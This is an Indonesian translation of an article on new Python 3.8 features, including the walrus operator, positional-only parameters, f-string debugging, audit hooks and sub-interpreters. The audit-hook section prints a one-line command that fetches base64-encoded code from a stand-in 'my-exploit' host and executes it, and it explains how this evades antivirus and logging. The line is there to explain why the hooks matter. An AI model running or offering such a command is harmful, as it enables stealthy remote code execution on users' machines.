Terjemahan berikut telah disiapkan secara khusus untuk pythonists yang tertarik untuk membaca dengan pasti tentang fitur Python 3.8 yang baru. Untuk mengantisipasi peluncuran utas baru pada kursus "Pengembang Python", kami tidak dapat melewati topik ini.Pada artikel ini, kita akan berbicara tentang fitur-fitur baru yang diperkenalkan dengan Python 3.8.

Operator walrus (operator penugasan)
Kami tahu Anda menunggu ini. Harapan ini tanggal kembali ke hari-hari ketika Python sengaja dilarang menggunakan "=" sebagai operator pembanding. Beberapa orang menyukai ini karena mereka tidak lagi bingung = dan == dalam tugas dan perbandingan. Yang lain merasa tidak nyaman untuk mengulangi operator, atau menugaskannya ke variabel. Mari kita beralih ke contoh.
Menurut Guido, kebanyakan programmer cenderung menulis:
group = re.match(data).group(1) if re.match(data) else None
Sebaliknya
match = re.match(data) group = match.group(1) if match else None
Ini membuat program berjalan lebih lambat. Meskipun dapat dimengerti mengapa beberapa programmer masih tidak menulis dengan cara pertama - itu mengacaukan kode.
Sekarang kita memiliki kesempatan untuk melakukan ini:
group = match.group(1) if (match := re.match(data)) else None
Selain itu, berguna saat menggunakan ifs, agar tidak menghitung semuanya terlebih dahulu.
match1 = pattern1.match(data) match2 = pattern2.match(data) if match1: result = match1.group(1) elif match2: result = match2.group(2) else: result = None
Dan sebagai gantinya, kita dapat menulis:
if (match1 := pattern1.match(data)): result = match1.group(1) elif (match2 := pattern2.match(data)): result = match2.group(2) else: result = None
Yang lebih optimal, karena yang kedua jika tidak akan dipertimbangkan jika yang pertama berfungsi.
Bahkan, saya sangat senang dengan standar PEP-572, karena tidak hanya memberikan peluang yang sebelumnya tidak ada, tetapi juga menggunakan operator yang berbeda untuk ini, sehingga tidak akan mudah untuk membingungkannya dengan ==.
Namun, pada saat yang sama, ini juga memberikan peluang baru untuk kesalahan dan pembuatan kode yang sebelumnya tidak beroperasi.
y0 = (y1 := f(x))
Argumen posisi
def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f)
Di sini, semua yang sebelum
/
hanyalah argumen posisional, dan semuanya setelah
*
hanyalah kata kunci.
f(10, 20, 30, d=40, e=50, f=60) - valid f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument
Lingkup fungsi ini dapat diekspresikan dalam satu kalimat. Akan lebih mudah bagi perpustakaan untuk mengubah tanda tangan mereka. Mari kita lihat sebuah contoh:
def add_to_queue(item: QueueItem):
Sekarang penulis harus mendukung tanda tangan seperti itu, dan nama parameter tidak boleh lagi diubah, karena perubahan ini akan menjadi kritis. Bayangkan Anda perlu mengubah tidak hanya satu elemen, tetapi seluruh daftar elemen:
def add_to_queue(items: Union[QueueItem, List[QueueItem]]):
Atau lebih:
def add_to_queue(*items: QueueItem):
Ini adalah sesuatu yang tidak dapat Anda lakukan sebelumnya karena kemungkinan tidak kompatibel dengan versi sebelumnya. Sekarang kamu bisa. Selain itu, ini lebih konsisten dengan desain yang sudah menggunakan pendekatan ini. Misalnya, Anda tidak dapat meneruskan kwarg ke fungsi pow.
>>> help(pow) ... pow(x, y, z=None, /) ... >>> pow(x=5, y=3) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: pow() takes no keyword arguments
Debugging dengan f-line
Fungsi tambahan kecil yang membantu kami menggunakan format perekaman yang ringkas dari bentuk "variabel nama =" variabel.
f"{chr(65) = }" => "chr(65) = 'A'"
Apakah Anda memperhatikan ini setelah chr (65)? Trik yang sama. Ini membantu menyediakan cara yang lebih pendek untuk mencetak variabel menggunakan f-line.
Cangkang asyncio asli
Sekarang jika kita menjalankan shell Python sebagai 'python -m asyncio', kita tidak perlu lagi
asyncio.run()
untuk menjalankan fungsi asinkron. Menunggu dapat digunakan langsung dari shell itu sendiri:
>python -m asyncio asyncio REPL 3.8.0b4 Use “await” directly instead of “asyncio.run()”. Type “help”, “copyright”, “credits” or “license” for more information. >>> import asyncio >>> async def test(): … await asyncio.sleep(1) … return 'hello' … >>> await test() 'hello'
Python menyebut kait audit runtime
Python Rantime sangat bergantung pada C. Namun, kode yang dieksekusi di dalamnya tidak dicatat atau dilacak dengan cara apa pun. Ini membuatnya sulit untuk memantau operasi kerangka kerja untuk pengujian, kerangka kerja untuk penebangan, alat keamanan dan, mungkin, membatasi tindakan yang dilakukan oleh runtime.
Sekarang Anda dapat mengamati peristiwa yang dipicu oleh runtime, termasuk pengoperasian sistem impor modul dan semua kait pengguna.
API baru adalah sebagai berikut:
Kait tidak dapat dihapus atau diganti. Untuk CPython, kait yang berasal dari C dianggap global, sedangkan kait yang berasal dari Python hanya untuk juru bahasa saat ini. Kait global dieksekusi sebelum kait juru bahasa.
Satu eksploit yang sangat menarik dan tidak terlacak mungkin terlihat seperti ini:
python -c “import urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen('http://my-exploit/py.b64') ).decode())”
Kode ini tidak dipindai oleh sebagian besar program antivirus, karena mereka berfokus pada kode yang dapat dikenali yang dibaca saat memuat dan menulis ke disk, dan base64 cukup untuk menyiasati sistem ini. Kode ini juga akan melewati tingkat keamanan seperti daftar kontrol akses file atau izin (ketika akses file tidak diperlukan), daftar aplikasi tepercaya (dengan asumsi Python memiliki semua izin yang diperlukan), dan audit atau logging otomatis (dengan ketentuan bahwa Python memiliki akses ke Internet atau akses ke mesin lain di jaringan lokal yang dengannya Anda dapat memperoleh payload).
Dengan kait acara runtime, kita dapat memutuskan bagaimana merespons peristiwa tertentu. Kami dapat mendaftarkan acara atau mengakhiri sepenuhnya operasi.
multiprocessing.shared_memory
Membantu menggunakan area memori yang sama dari berbagai proses / juru bahasa. Pada dasarnya, ini dapat membantu kita mengurangi waktu yang diperlukan untuk membuat serialisasi objek untuk mentransfernya di antara proses. Alih-alih membuat cerita bersambung, mengantri, dan deserialisasi, kita bisa menggunakan memori bersama dari proses lain.
Protokol Pickle dan Buffer Data Out-of-Band
Protokol pickle 5 memberikan dukungan untuk buffer out-of-band, di mana data dapat ditransmisikan secara terpisah dari aliran acar utama sesuai kebijakan lapisan transport.
2 add-ons sebelumnya sangat penting, tetapi tidak dimasukkan dalam versi rilis Python 3.8, karena masih ada beberapa pekerjaan yang harus dilakukan dengan kompatibilitas dengan kode lama, tetapi ini dapat mengubah pendekatan pemrograman paralel dengan Python.
Sub-penerjemah
Utas dalam Python tidak dapat berjalan secara paralel karena GIL, sementara proses membutuhkan banyak sumber daya. Hanya awal proses yang membutuhkan 100-200 ms, dan mereka juga mengkonsumsi sejumlah besar RAM. Tetapi sesuatu dapat mengatasinya, dan ini adalah sub-penafsir. GIL adalah seorang juru bahasa, jadi itu tidak akan mempengaruhi pekerjaan penerjemah lain, dan itu mulai lebih mudah daripada suatu proses (walaupun lebih lambat dari utas).
Masalah utama yang muncul dalam hubungan ini adalah transfer data antara penerjemah, karena mereka tidak dapat mentransfer status, seperti aliran. Karena itu, kita perlu menggunakan semacam koneksi di antara mereka. Acar, marshal atau json dapat digunakan untuk membuat cerita bersambung dan deserialisasi objek, tetapi metode ini akan bekerja cukup lambat. Salah satu solusinya adalah menggunakan memori bersama dari modul proses.
Subproses tampaknya menjadi solusi yang baik untuk masalah GIL, tetapi kumpulan pekerjaan tertentu masih perlu dilakukan. Dalam beberapa kasus, Python masih menggunakan "Runtime State" dan bukan "Interpreter State". Misalnya, pengumpul sampah melakukan hal itu. Oleh karena itu, Anda perlu melakukan perubahan pada banyak modul internal untuk mulai menggunakan sub-juru secara normal.
Saya harap fungsionalitas ini dapat sepenuhnya digunakan di Python versi 3.9.
Sebagai kesimpulan, saya ingin mengatakan bahwa gula sintaksis tertentu telah ditambahkan ke versi ini, serta beberapa perbaikan serius dalam pekerjaan perpustakaan dan proses eksekusi. Namun, banyak fitur menarik yang tidak pernah dirilis, jadi kami akan menunggu mereka di Python 3.9.
Sumber: